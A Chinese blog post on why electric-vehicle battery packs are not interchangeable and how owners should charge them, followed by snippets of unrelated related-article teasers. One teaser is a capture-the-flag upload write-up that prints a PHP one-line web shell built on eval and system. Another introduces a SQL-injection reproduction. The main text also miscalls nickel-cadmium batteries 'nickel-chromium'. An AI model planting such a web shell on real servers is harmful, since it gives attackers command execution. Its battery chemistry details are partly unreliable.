新能源汽车电池包为什么不通用,车主怎么用电才算对?
一提起新能源车,大部分人可能知道电动汽车,实际上新能源车的种类是比较多的,这里边也包括了插电式混动汽车、纯电汽车、燃料电池汽车,其中插电混动里还包括了串联式、并联式、混联式,每种汽车都各有优缺点,今天不聊车,聊聊电池及用法。
首先我们要确定一个基调,就是基于电池的BMS管理系统,SOC区别,那么新能源汽车电池包就根本没办法通用,这是软件上的东西,就像不同手机里边装着不同代码一样。
再从原材料来说,新能源汽车用的铅酸电池、镍铬电池、锂电池、燃料电池里边就分很多种,就像我们常见的锂电池也分锰酸锂、磷酸铁锂、三元锂,其中三元锂还分为镍钴锰锂和镍钴铝锂,刀片电池是基于磷酸铁锂,弹匣电池是基于三元锂和磷酸铁锂两种材料混合。
其次就是电池的化学配比的配方,这个我皮毛都不知道,就不说了,去过电池厂的小伙伴应该会熟悉一些。
其三就是软件系统的优化和处理。
其四就是规划额定的电压及电池容量等影响,电池电压又分为额定电压、端电压、开路电压、负载电压、最高充电电压、最低放电电压,这些都对电池包的通用型造成很大影响。电池容量方面,有额定容量、可用容量、理论容量,这也是我们为什么标注续航800公里,实际跑600多的原因了,这个还跟电池活性、温度、使用效率、汽车功率、汽车能耗等等相关。

另外就是荷电状态,代表着使用一段时间或者长期搁置不用后剩余容量与电池额定容量的比值,类似于燃油车油箱内现有的油量和油箱容量的比值,在CAN总线上也是用百分比值来表示的,取值范围一般是0~1,0表示电池放电完全,没电了,1表示电池充电完全,充满了。
还有就是电池健康状态,也是一个“度”的问题,我们在采集数据的过程中,这个也是个百分比值,可以理解为电池当前容量与出厂容量的百分比。这是一条很重要的数据,无论是做电池评估、电池健康状态检测、电池回收、梯次利用等等,都会涉及这条数据,在CAN网络上,这条数据基本是明文,破解拿个数据倒是很容易,关键就是车型太多了。
加上放电深度,就是电池的放电量与电池额定容量的比值,和上述的0~1类似,也是用百分比来表达,但是超过80%的电量,此时就算是深度放电了,这里有细微区别,电池也会被保护板保护起来,不能过充或者过放。
不同的车型电池能量不一样,电池的密度不一样,这个主要体现在单体电芯上,比如有单体最高电压、最低电压、最高电流、最低电流、电阻,数百个单体,还有电池的热管理系统、电池管理系统、高低压回路、各种加强结构、重量都影响着下一条要说的电池效率。
电池效率容易理解,就是充放电过程中能量的转换效率。电池越健康,效率越高,电池越不健康,效率越低,这里有两类:容量效率是电池放电时候输出的容量与充电时输入的容量的比值,能量效率是指电池放电时输出的能量与充电时输入能量的比值。当电池经过多次循环充放电后,电池效率会越来越低,然后,就出现充电时间短、续航短的问题。用一块海绵来举例,充电就是海绵吸水,放电就是海绵挤水,理想状态下,这个数据大抵能保持一致,但是海绵使用一段时间后,海绵恢复形变的能力有些衰减,以至于后边,吸水量和排水量大不如从前。

这个时候就跳出来个东西,叫电池寿命。也就是从出厂到电池寿命结束全村吃席这段时间,一般汽车用的锂电池的日历寿命为5—10年,哪怕平时使用不频繁,一年开个4000来公里,使用到5—6年的时候,总里程虽然只有2万公里,但是电池容量一样有可能衰减到70%。
像极了我们这些吃货购买的食物,假设保质期是一年,无论你吃不吃,吃多少,超过保质期就不能食用了。车厂才不会蠢至把这个数值公布出来,要不然,车不好卖了,他们能公布的只有循环寿命。一个循环的定义是完成一次满充+满放,但是我们要略懂的,都不要这么去操作,做到浅充浅放,这样才能使得锂电池更耐用。车厂的NEDC续航里程都是按照循环次数来算的,比如600KM/次*2000次循环=120万公里,然后车厂号称告诉你能跑120万公里,看完上述的,你觉得你信吗?
嗯,不信就对了,我们买了车得开吧,开一段时间后,电池的一致性又会出问题,比如电压一致性、电池容量一致性、内阻一致性、温升的一致性。这里要引入一个理论叫木桶理论,最差的那个单体电池的容量决定了整个电池组的能力,为了提升单体电池的一致性,可以从筛选、热管理、均衡等多个角度优化设计,这里又产生出新的不同。
开车停车听歌吹空调看导航都得用电了,比如大灯延时关闭,自动锁车后关闭车窗车灯雨刷,TBOX进入到待机或者休眠状态。这些个乱七八糟的还存在电池消耗,电池本身自己也有自放电,包括了物理放电和化学放电,物理放电的充电能得到补偿,化学自放电的,就是不可逆的,这个容量的缺失,到了一定程度,可以通过更换新能源整车电池包来解决(换新)。因为化学自放电的包括了正极与电解液、负极与电解液、电解液杂质、造成时杂质造成的微短路集中不可逆反应。

再到各个厂家电池包外轮廓受限于车身结构,每个厂家结构不同,电池包的尺寸就没办法统一了,电池包的容量会影响到空间、成本、安全、性能等多个方面,每个厂家电池包的容量也不一样,你看原来哪些小小个的续航200公里的,跟骗子有啥区别呢?现在都是大屁股,宽底盘,续航动不动就干到1500公里,上马路牙子也是轻轻松松的事。
哦,不能上马路牙子,因为要考虑碰撞的要求,碰撞的时候,传力路径不同,电池包与车身连接关系也不一样,安全策略也不同,电池包应用的结构设计也不同,那就让他们继续不同下去吧。
汽车电池包的不同,是没办法解决的,看了上边的,我们就应该了解和熟悉,这就是个死循环的东西,条条大路通罗马,罗马未必通条条大路。就像我们解码特斯拉的BMS电池包数据,碰到的车型、电池数据复杂程度都不同。造车的公司都看特斯拉,学习特斯拉,特斯拉都已经开源了,你也抄不了啊,你抄得了的,价格也做不了。有点像可口可乐把配方给你,你也干不了可口可乐的事一样,但这并不说明我们的研究就没有意义,虽然是辛苦一些,每天都趴车里,但是所有的数据不都是积累出来的么?
再回到镍铬电池,最原始的应用形态就是我们的手机电池,扣出来的那一小方块,镍铬电池具有“记忆效应”:反复充电,但是不充满,会导致寿命衰减,所以,保护手机的方式是充满、放净。但是锂电池不存在这种效应,可以随充随放,这也是为啥,“汽车要浅充浅放”的做法了,电车朋友们,到了剩余25%左右,我们一起加电。
这些,希望对广大车主和企业有点用,最近关于新能源电池数据需求的客户,应用不同的领域的有点多,希望我这么一通解释,小伙伴能明白每个车都不一样,这个就没白写了。
相关文章:
新能源汽车电池包为什么不通用,车主怎么用电才算对?
一提起新能源车,大部分人可能知道电动汽车,实际上新能源车的种类是比较多的,这里边也包括了插电式混动汽车、纯电汽车、燃料电池汽车,其中插电混动里还包括了串联式、并联式、混联式,每种汽车都各有优缺点,…...
[C语言]——柔性数组
目录 一.柔性数组的特点 二.柔性数组的使用 三.柔性数组的优势 C99中,结构体中的最后⼀个元素允许是未知大小的数组,这就叫做『柔性数组』成员。 typedef struct st_type //typedef可以不写 { int i;int a[0];//柔性数组成员 }type_a; 有些编译器会…...
密码学 总结
群 环 域 群 group G是一个集合,在此集合上定义代数运算*,若满足下列公理,则称G为群。 1.封闭性 a ∈ G , b ∈ G a\in G,b\in G a∈G,b∈G> a ∗ b ∈ G a*b\in G a∗b∈G 2.G中有恒等元素e,使得任何元素与e运算均为元素本…...
尚硅谷html5+css3(1)html相关知识
1.基本标签: <h1>最大的标题字号 <h2>二号标题字号 <p>换行 2.根标签<html> 包括<head>和<body> <html><head><title>title</title><body>body</body></head> </html> 3…...
苍穹外卖11(Apache ECharts前端统计,营业额统计,用户统计,订单统计,销量排名Top10)
目录 一、Apache ECharts【前端】 1. 介绍 2. 入门案例 二、营业额统计 1. 需求分析和设计 1 产品原型 2 业务规则 3 接口设计 2. 代码开发 3. 功能测试 三、用户统计 1. 需求分析和设计 1 产品原型 2 业务规则 3 接口设计 2. 代码开发 3. 功能测试 四、订单统…...
大商创多用户商城系统 多处SQL注入漏洞复现
0x01 产品简介 大商创多用户商城系统是一个功能强大、灵活多变的新零售电商系统服务商。该系统支持平台自营和商家入驻,实现多元化经营模式,能够全面整合供应商、生产商、经销商和消费者等产业链资源,提高产品多样性,加快资金流动速度,并有助于减少不必要的成本输出。 0…...
美团一面4/9
面的时候自我感觉良好,复盘感觉答的一坨。。 0怎么比较两个对象 0Integer 不使用new会自动装箱,返回提前创建的。使用new就创建新对象。 1.Object类有什么方法 java中Object类中有哪些常用方法以及作用_java中object的方法有什么用-CSDN博客 2.hash…...
ubuntu下NTFS分区无法访问挂载-解决办法!
Ubuntu系统下,有的时候发现,挂载的NTFS文件系统硬盘无法访问。点击弹出类似问题: Error mounting /dev/sda1 at /media/root/新加卷: Command-line mount -t "ntfs" -o "uhelperudisks2,nodev,nosuid,uid0,gid0" "/…...
如何在 Ubuntu 14.04 上使用 Rsyslog、Logstash 和 Elasticsearch 实现日志集中管理
Elastic 的一篇文章 介绍 理解组织生成的数百万条日志行可能是一个艰巨的挑战。一方面,这些日志行提供了对应用程序性能、服务器性能指标和安全性的视图。另一方面,日志管理和分析可能非常耗时,这可能会阻碍对这些日益必要的服务的采用。 …...
mapbox 工作问题暂时记录
mapbox 工作问题暂时记录 mapbox样式修改1.2.3.4. mapbox样式修改 1. mapbox直接用class名无法修改样式, 可以添加 :deep 来修改样式 2. map.value.getStyle().layers这行代码可以获取页面中所有图层,可以判断图层id来做相应操作 3. map.value.setLayoutProperty(layer.id…...
Linux、Docker、Brew、Nginx常用命令
Linux、Docker、Brew、Nginx常用命令 Linuxvi编辑器文件操作文件夹操作磁盘操作 DockerBrewNginx参考 Linux vi编辑器 Vi有三种模式。命令模式、输入模式、尾行模式,简单的关系如下: i -- 切换到输入模式,在光标当前位置开始输入文本。&a…...
【Spring实战项目】SpringBoot3整合WebSocket+拦截器实现登录验证!从原理到实战
🎉🎉欢迎光临,终于等到你啦🎉🎉 🏅我是苏泽,一位对技术充满热情的探索者和分享者。🚀🚀 🌟持续更新的专栏《Spring 狂野之旅:从入门到入魔》 &a…...
第二证券|政策利好不断,工业母机概念爆发,华东数控等涨停
工业母机概念10日盘中大幅走高,截至发稿,恒进感应、宏德股份、华东重机、华东数控等涨停,凯腾精工涨超20%,创世纪涨逾11%,华辰配备、盘古智能涨超9%,博亚精工涨逾8%。 音讯面上,工业和信息化部…...
Thinkphp5萤火商城B2C小程序源码
源码介绍 Thinkphp5萤火商城B2C小程序源码,是一款开源的电商系统,为中小企业提供最佳的新零售解决方案。采用稳定的MVC框架开发,执行效率、扩展性、稳定性值得信赖。 环境要求 Nginx/Apache/IIS PHP5.4 MySQL5.1 建议使用环境ÿ…...
PostgreSQL介绍
PostgreSQL是一个高度先进的对象关系型数据库管理系(ORDBMS),其起源可以追溯到1986年,最初是加州大学伯克利分校计算机系的一个项目,名为POSTGRES。它是从Ingres项目演变而来的,目的是克服当时关系数据库系…...
简析数据安全保护策略中的十个核心要素
数据显示,全球企业组织每年在数据安全防护上投入的资金已经超过千亿美元,但数据安全威胁态势依然严峻,其原因在于企业将更多资源投入到数据安全能力建设时,却忽视了这些工作本身的科学性与合理性。因此,企业在实施数据…...
Python+Django+Html河道垃圾识别网页系统
程序示例精选 PythonDjangoHtml河道垃圾识别网页系统 如需安装运行环境或远程调试,见文章底部个人QQ名片,由专业技术人员远程协助! 前言 这篇博客针对《PythonDjangoHtml河道垃圾识别网页系统》编写代码,代码整洁,规…...
BUUCTF:BUU UPLOAD COURSE 1[WriteUP]
构造一句话PHP木马 <?php eval(system($_POST[shell])); ?> 利用eval函数解析$shell的值使得服务器执行system命令 eval函数是无法直接执行命令的,只能把字符串当作php代码解析 这里我们构造的木马是POST的方式上传,那就用MaxHacKBar来执行 …...
从零开始学习:如何使用Selenium和Python进行自动化测试?
安装selenium 打开命令控制符输入:pip install -U selenium 火狐浏览器安装firebug:www.firebug.com,调试所有网站语言,调试功能 Selenium IDE 是嵌入到Firefox 浏览器中的一个插件,实现简单的浏览器操 作的录制与回…...
【linux基础】bash脚本的学习:定义变量及引用变量、统计目标目录下所有文件行数、列数
假设目的:统计并输出指定文件夹下所有文件行数 单个文件可以用 wc -l ;多个文件,可以用通配符 / 借助bash脚本 1.定义变量名,使用引号 a"bestqc.com.map" b"Anno.variant_function" c"enrichment/GOe…...
简易版抽奖活动的设计技术方案
1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...
从WWDC看苹果产品发展的规律
WWDC 是苹果公司一年一度面向全球开发者的盛会,其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具,对过去十年 WWDC 主题演讲内容进行了系统化分析,形成了这份…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
第25节 Node.js 断言测试
Node.js的assert模块主要用于编写程序的单元测试时使用,通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试,通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...
IT供电系统绝缘监测及故障定位解决方案
随着新能源的快速发展,光伏电站、储能系统及充电设备已广泛应用于现代能源网络。在光伏领域,IT供电系统凭借其持续供电性好、安全性高等优势成为光伏首选,但在长期运行中,例如老化、潮湿、隐裂、机械损伤等问题会影响光伏板绝缘层…...
HybridVLA——让单一LLM同时具备扩散和自回归动作预测能力:训练时既扩散也回归,但推理时则扩散
前言 如上一篇文章《dexcap升级版之DexWild》中的前言部分所说,在叠衣服的过程中,我会带着团队对比各种模型、方法、策略,毕竟针对各个场景始终寻找更优的解决方案,是我个人和我司「七月在线」的职责之一 且个人认为,…...
